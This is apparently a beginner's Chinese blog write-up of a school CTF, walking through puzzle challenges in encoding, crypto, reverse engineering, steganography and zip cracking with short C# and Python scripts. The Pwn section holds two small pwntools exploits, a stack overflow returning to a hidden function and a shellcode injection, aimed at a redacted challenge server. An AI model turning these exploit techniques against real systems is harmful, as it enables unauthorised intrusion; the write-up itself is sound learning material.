前言
抱着玩玩的心态来玩的,个人当成解谜小游戏来玩的。(只是感觉自己做的东西没什么技术含量,没真正破过什么,算 script kiddo 了,web 好难)
用到的工具
好几个东西都是群里的 工具.zip ,那几个 G 的工具反而没用到(大概因为没时间一个一个看完…)。
- IDA 7.2 / dnSpy
- binwalk
- [随波逐流]CTF编码工具
- Advanced Archive Password Recovery
- Stegsolve
- WinHex
- VSCode / Visual Studio / PyCharm
- Bandizip / 7-Zip / PeaZip
- 记事本
- 计算器
这些是用过的工具但是那道题没写出来:
- upx
- sqlmap
- UsbKeyboardDataHacker
- pkcrack
- bruteforce-salted-openssl
Game
Game 篇,就是简介所说的 4 个简单题了…
图片就在下面
下载下来一个 docx,直接不多想,甚至不用打开,docx 就是个 zip,直接开压缩包,发现 word\media\image1.png 打开就是 flag。
经典花活
首先拿记事本打开,

额 某种加密…
进虚拟机运行,发现无限弹 cmd。
没想去找啥 VBS 解密, 看样子是把字符编码了后 eval,手写了个脚本:
1
2
3
4
5
6
7
var s = "3443-3328)&chr(1635-1534)...&chr(-758+821)&chr(-4672+4797";
s.Split(")&chr(")
.Select(o => (byte)(int) new DataTable().Compute(o, ""))
.ToArray()
.ToUTF8String()
.Print();
得到结果:

base64
拿到一串 base64,用高端大气上档次,低调奢华有内涵,奔放洋气有深度…的 [随波逐流]CTF编码工具 一键解码,额,得到 flag。
f**k
下载下来是一串…

直接用 chrome 控制台运行:

Web
写!不!来!好!难!我!好!菜!
别踩白块
- 解法1:
浏览器上插件减速手动玩.. -
解法2:
F12 -> Dev Tools -> Source
看到个
进控制台打 flag
额 不太行
之后翻到最下面发现有个function score().. 于是进控制台1
for (var i = 0; i < 120; i++) score();

Q.E.D.
另外这道题如果先输一次再赢得到的 flag 是不对的。
Crypto
easy_vigenere
拿到题看了好久都没看出来是个啥(完全不熟悉这些编码),最后做了好多其它题回来发现这道题很多人解了,那应该是很简单的题,但是还是看不懂…
最后看了标题 easy_gigenere,Google 一下得到维吉尼亚密码。
翻了一会找到个超神的自动一键解密器

翻到下面就是 flag。
RSA
拿到看到三对 NC…于是想在网上找有没有类似的题。
翻了一会看到了个

直接抄代码就可以出 flag。
MD5
下载下来一个文本,我还以为是好几十个 md5 字符串暂时没有想法。
过了一会出 hint,hex 哦

PK 开头,那就是 zip 了,但是由于这里是二进制不是文本,直接复制到 txt 里然后改成 zip 不太可行,于是手写了个脚本把 hex 存到文件里。
类似这样:
1
File.WriteAllBytes("foo.zip", Convert.FromHexString("XXX"));

打开是这样的,试了试各种密码,文件名,伪加密,都不能解密…
抱着试一试的心态打开了密码破解器…

啊怎么一拖进去就找到了密码!
得到两个文件:

好像看起来很长不是 MD5 ,而且是 16 进制于是 hex->string:

看起来确实是文本编码。
尝试 base64.. 没有结果,而且这里全小写也不像 base64..
网上随便找了一串 MD5,和得到的结果对比发现:

额,怎么比一般的 MD5 长了一点!?
看到里面有一些不是 16 进制的 illegal character,尝试删除发现

得到的结果刚好和普通 MD5 一样长!
打开 CMD5..

记不到最后的 flag 是 abc1234567 还是 md5(abc1234567) 了,不过这不重要。
其实看起来挺轻松但是中间还是卡了很久,各种尝试,做会其它的题回来然后再看
Reverse
RE-签到
直接打开发现

额,一眼看出这是 C# 的 Exception,于是直接打开神器 dnSpy:

看到上面的报错是时间不对,又再某个地方看到代码,

改了系统时间打开还是不对,肯定没这么简单((
翻了翻其它方法,看到一个类似 main 的方法:

发现 flag 由两部分组成: str 和 text。

发现调用了个 SHA1,通过 CMD5 查到代码中两个 SHA1 分别是 31145149 和 return
再翻译一下就出了。
另外 text 还涉及到异或,看起来不会影响这里的结果。
py_opcode
在出 hint 之前,我死活想找个 opcode text -> python code 的转换器,发现找不到,于是暂时放弃这道题。
出了 hint 之后开始做:

大概就是个代码翻译,前面都不难,主要是中间复杂一点

大概就是把栈转换一下(后缀表达式转中缀表达式)
最后的伪代码:
1
2
3
4
5
6
7
8
9
10
11
flag=xxxx
sum = 0
for i in range(0, len(flag), 2):
sum += i
v0 = flag[i]
v1 = flag[i + 1]
flag[i] = (v1 << 4 + i) ^ (v1 + sum) ^ (v1 >> 5 + sum)
flag[i+1] = (v0 >> 2 - i - sum) ^ (v0 << 1 - sum)
print(flag)
结合输出 output.txt,猜想 flag 是个字符数组,结合字符只能从 1->256(ASCII 可打印字符的话更少),又看到每个元素之间不是互相依赖的,flag[i+1] 存到了 flag[i],于是想直接穷举 flag[i] 为 1->256,并与结果进行对比,相同就是了。
跑了好几次都没出,最后想把上面的 Python 代码假定 flag 运行一下.. 但是发现报错了

额,负的移位?!怎么可能?
一看代码 猜想,可能是移位优先级比四则运算符优先级低…给移位加了括号就好了。
最后的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
var s = new[]
{
1677, 250, 1875, 221, 1852, 241, 823, -125, 1794, -87, 1289, -90, 1174, -27, 1574, -178, 732, -189, 1925,
-90, 1960, -106, 1544, -197, 1646, 185
};
var sum = 0;
for (int i = 0; i < s.Length; i+=2)
{
sum += i;
var v0 = s[i];
var v1 = s[i+1];
s[i+1] = gen1(v0, i, sum);
s[i] = gen2(v1, i, sum);
}
s.Select(c => (byte) c).ToArray().ToUTF8String().Print();
int gen1(int v, int i, int sum)
{
for (int x = 1; x < 255; x++)
{
if ((((x << 4) + i) ^ (x + sum) ^ ((x >> 5) + sum)) == v)
{
return x;
}
}
throw new Exception("?");
}
int gen2(int v, int i, int sum)
{
for (int x = 1; x < 255; x++)
{
if ((((x >> 2) - i - sum) ^ ((x << 1) - sum)) == v)
{
return x;
}
}
throw new Exception("?");
}
Game
啊哈!社会工程学!
Edit: 这个好像不叫社会工程学(
做了好久题发现没人做出来,IDA 拖进去又发现特别复杂,又考虑到这是校赛!于是猜想这是直接从哪里找的题..
于是 IDA 中随便找了个变量的值,拿去 Google…

另外

Misc
套娃

如题目所说,是套娃。
脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var zipArchive = new ZipFile(File.OpenRead(@"4606.zip"));
var lastms = new MemoryStream();
var pwd = "4606";
while (true)
{
var entry = zipArchive[0];
var name = entry.Name;
zipArchive.Password = pwd;
if (!name.EndsWith(".zip"))
{
using var f = File.OpenWrite(@"1.zip");
lastms.CopyTo(f);
break;
}
pwd = name.Split(".zip")[0];
var ms = new MemoryStream();
zipArchive.GetInputStream(entry).CopyTo(ms);
ms.Seek(0, SeekOrigin.Begin);
zipArchive = new ZipFile(ms);
lastms = ms;
}
拿到

想不出来是啥。跑去写其它题了
很久之后写另一道题搜索花朵解密的时候搜到一个网站

丢进去长这样

不太对…
之前出题人给我了个 hint:

于是得到 flag。
高领大人
前期处理:

于是剩下的线索是:16 进制,EEEE 和 flag.gif

尝试 StegSolve,无果。 尝试 LSB,无果。
16进制?打开 WinHex 加载 flag.gif

直接搜索 EEEE,发现前后字符也没啥规律。
突然想列出全部的 EEEE

额,好像也看不出来啥

正当我打算切到其他窗口放弃的时候,眼睛突然就发现,我去!!!!

真的是运气好,要是我没选 WinHex 的列出搜索结果,还有高亮,可能是真看不出来。
瞬间发现解题方法真的好开心(
简简单单的图片隐写
打开 StegSolve,捣鼓了半天都没出。拼来拼去然后异或。
最后看到有个地方说是 lsb。记不到咋的乱点了一下就

不知道为啥选 LSB First 出不来(
打开网盘链接发现

写了个脚本拼图
1
2
3
4
5
6
7
8
9
10
11
var magickImage = new MagickImage(MagickColors.Black, 500, 500);
for (int x = 0; x < 10; x++)
{
for (int y = 0; y < 10; y++)
{
var index = y * 10 + x + 1;
var file = $@"pintu\{index}.png";
magickImage.Composite(new MagickImage(file), new PointD(x*50,y*50));
}
}
magickImage.Write("a.png");
扫码就能得到 flag。(听说不用脚本用网站一分钟就能拼出来,也有人手动 PS 拼的)
学姐争取的 flag
拿到文件。

随便破解一下。

脚本改了一下午,甚至问了出题人,最后发现是傻* C# 的 SHA1 线程不安全,写多线程就寄了。
思路是中间字符全排列,然后一个一个试。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
var cs = new string[]
{
"flag{!2wersdhjcbn}",
"flag{1@wersdhjcbn}",
"flag{12Wersdhjcbn}",
"flag{12wErsdhjcbn}",
"flag{12weRsdhjcbn}",
"flag{12werSdhjcbn}",
"flag{12wersDhjcbn}",
"flag{12wersdHjcbn}",
"flag{12wersdhJcbn}",
"flag{12wersdhjCbn}",
"flag{12wersdhjcBn}",
"flag{12wersdhjcbN}",
};
var tasks = new List<Task>();
var semaphore = new SemaphoreSlim(12);
foreach (var s in cs)
{
tasks.Add(Task.Factory.StartNew(() =>
{
semaphore.Wait();
var r = s;
perm(r.ToCharArray(), 5, r.Length - 1);
semaphore.Release();
}, TaskCreationOptions.LongRunning));
}
Task.WaitAll(tasks.ToArray());
// 网上抄的全排列代码
static void perm(char[] a, int begin, int end)
{
if (begin == end)
{
if (sha1(a) == "e1682816fa252b9c1241611bdf112cf0c8d93340")
{
a.Print();
}
}
else
{
for (int j = begin; j < end; j++)
{
swap(a, begin, j);
perm(a, begin + 1, end);
swap(a, j, begin);
}
}
}
多线程还是很快的,一种情况单纯跑的话 3 分钟就能跑完,如果用 Python 大概会慢很多~
Pwn
比赛第二天下午我硬是啃了一下午如何 pwn,以前从来没玩过
sign
首先试了试直接打

哦!flag!这么简单
丢进去发现不对
去问出题人

呃呃
于是学了一下午 pwn。
IDA 发现这题有三个输入点,第一个是 gets,后面两个是 scanf
查了一下 gets 会忽略 \0,我的想法是通过第一个 gets 打入 shellcode,同时骗过 strcmp 到达第二个 scanf,再缓冲区溢出。
之后出题人暗示了很简单,就找个函数就完了。于是看到有个

额,于是参考 Ctf Wiki
1
2
3
4
5
6
7
from pwn import *
sh = remote('xxx', xxx)
buf2_addr = 0x4007e7
sh.recvuntil("Did you sign in?")
sh.send(b'A'*(0x30+8) + p64(buf2_addr) )
sh.interactive()
中途出题人还换了一遍附件,原来的地址是错的
ezpwn


中间卡了好久发现俩 buf 还不一样,一个在栈上一个在堆上。
最后的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
sh = remote('xxx',xxx)
shellcode = asm(shellcraft.sh())
buf2_addr = 0x6010A0
sh.recvuntil("start:")
sh.sendline(shellcode)
sh.recvuntil("end?")
sh.send(b'A'*(0x70+8)+p64(buf2_addr))
sh.interactive()
没有做出来的题的一些遗留
ezsql
用 sqlmap 搞了好久,倒是不会手工注入,发现俩注入点,但是


手工访问发现

打入 114514 发现:

不太懂。
主人的命令
MD5 很好破写个脚本就出来了(直接写个循环穷举数字),但是什么回显都没就说我是小 hacker。
最后问出题人

方向都错了,第一步是找源码
difficult_flask
搜到是某个框架,可以进 /console 来破 pin,剩下什么思路都没了。
snert 翻译
点翻译键要卡好久,hint 也看不懂。
多看经文
佛祖解密,搞下来是一串 Salted__W,就是 openssl,试了试各种密码都解不开,但是好多人都解开了,我还是不知道咋办
PS: 现在知道那玩意是啥了,一直死磕 AES openssl 去了,早知道就把 CTF 常见编码多读几遍了(
简单题
首先是一个 pcap,把键盘中断找个工具翻译成键盘按键得到:65366dd1c405354
真的是一张简单的图片吗?
首先藏了个 zip。另外:
把图片通道单独拉出来长这样

考虑 LSB

发现前 15 位刚好是 0,上面键盘按键也刚好是 15 位,之后就不知道怎么做了。
maze
upx 拆开,拖进 IDA,想按 F5 搞伪代码,结果 x64 的 IDA 叫我用 x86 的,x86 的 IDA 叫我用 x64 的,就没戏了。
meme

尾记
写完之后 chrome 开了 300 多个标签页
任务栏

其实感觉 web 题每一个都可以倒杯茶做一天(
出题人都好强


